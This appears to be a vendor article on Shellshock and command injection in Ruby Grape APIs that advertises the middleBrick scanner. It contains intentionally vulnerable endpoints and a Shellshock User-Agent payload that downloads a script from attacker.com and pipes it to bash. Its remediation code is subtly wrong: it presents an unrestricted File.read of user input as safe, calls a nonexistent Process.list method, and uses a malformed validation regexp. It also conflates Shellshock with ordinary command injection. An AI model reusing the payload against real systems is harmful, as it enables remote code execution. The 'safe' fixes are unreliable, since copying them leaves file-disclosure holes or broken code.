Shellshock in Grape

Shellshock vulnerabilities in Grape APIs typically emerge through command injection flaws where user input is improperly passed to system shells. In Grape applications, this often occurs when API endpoints accept parameters that are later used in system calls without proper sanitization.

A common Grape-specific pattern involves using Ruby's backtick operator or system() method to execute shell commands based on user input. For example:

module API
  class Commands < Grape::API
    get '/execute' do
      command = params[:cmd]
      `#{command}`  # Vulnerable to Shellshock
    end
  end
end

The Shellshock vulnerability becomes particularly dangerous in Grape when combined with environment variable manipulation. Attackers can exploit Bash functions exported through environment variables to execute arbitrary code. A typical attack payload might look like:

HTTP_USER_AGENT='() { :; }; echo; /bin/bash -c "curl -s http://attacker.com/exploit.sh | bash"'

Grape APIs that expose system-level functionality are especially vulnerable. Consider an endpoint that executes system diagnostics:

module API
  class Diagnostics < Grape::API
    get '/system' do
      system("ps aux | grep #{params[:process]}")  # Shellshock vulnerable
    end
  end
end

The risk compounds when Grape APIs handle file operations. A vulnerable implementation might look like:

module API
  class Files < Grape::API
    get '/read' do
      `cat #{params[:file]}`  # Command injection possible
    end
  end
end

Even seemingly benign operations like logging can introduce Shellshock vulnerabilities if they invoke shell commands. Grape's flexible parameter handling can inadvertently pass malicious input to these vulnerable code paths.

Detecting Shellshock vulnerabilities in Grape APIs requires both static analysis and runtime scanning. middleBrick's API security scanner includes specific checks for Grape applications, analyzing both the OpenAPI specification and runtime behavior.

For static detection, middleBrick examines Grape route definitions for dangerous patterns:

module API
  class Vulnerable < Grape::API
    get '/dangerous' do
      # middleBrick flags this pattern
      `#{params[:input]}`
    end
  end
end

Runtime scanning with middleBrick tests Grape endpoints by sending specially crafted payloads that trigger Shellshock behavior. The scanner sends requests with malicious environment variables and analyzes responses for signs of command execution.

middleBrick's CLI tool makes it easy to scan Grape APIs:

npm install -g middlebrick
middlebrick scan https://api.example.com/v1 --format json

The scanner specifically looks for:

• Backtick operator usage with user input
• system() calls with unsanitized parameters
• Kernel.exec usage in API endpoints
• Open3 calls that might execute shell commands
• Environment variable manipulation in request handlers
• Unsafe file operations with user-controlled paths

middleBrick also analyzes Grape's DSL to identify endpoints that might handle system-level operations, then applies targeted Shellshock payloads to test for vulnerabilities.

Remediating Shellshock vulnerabilities in Grape requires eliminating command injection vectors and using safer alternatives. The primary fix is to avoid shell command execution entirely when possible.

For file operations, replace backtick operators with Ruby's File class:

module API
  class Files < Grape::API
    get '/read' do
      # Safe alternative to `cat #{file}`
      File.read(params[:file])
    end
  end
end

For process operations, use Ruby's Process module instead of shell commands:

module API
  class Processes < Grape::API
    get '/list' do
      # Safe alternative to `ps aux`
      Process.list
    end
  end
end

When system commands are unavoidable, use Ruby's Process.spawn with explicit argument arrays:

module API
  class Commands < Grape::API
    get '/execute' do
      # Safe: arguments passed as array, no shell interpretation
      Process.spawn('ls', '-la', params[:path])
    end
  end
end

For Grape applications using background jobs, ensure command execution is safe:

module API
  class Jobs < Grape::API
    post '/run' do
      # Use Process.spawn instead of backticks
      pid = Process.spawn('backup', params[:target], out: log_file)
      Process.detach(pid)
    end
  end
end

Implement input validation using Grape's parameter validation:

module API
  class Secure < Grape::API
    params do
      requires :file, type: String, regexp: //(bin|usr|tmp|home)//
    end
    get '/safe_read' do
      File.read(declared(params)[:file])
    end
  end
end

Consider using the shellescape method from the Shellwords module when shell commands are absolutely necessary:

require 'shellwords'

module API
  class LastResort < Grape::API
    get '/escape' do
      safe_command = Shellwords.escape(params[:command])
      `echo #{safe_command}`  # Still not ideal, but safer
    end
  end
end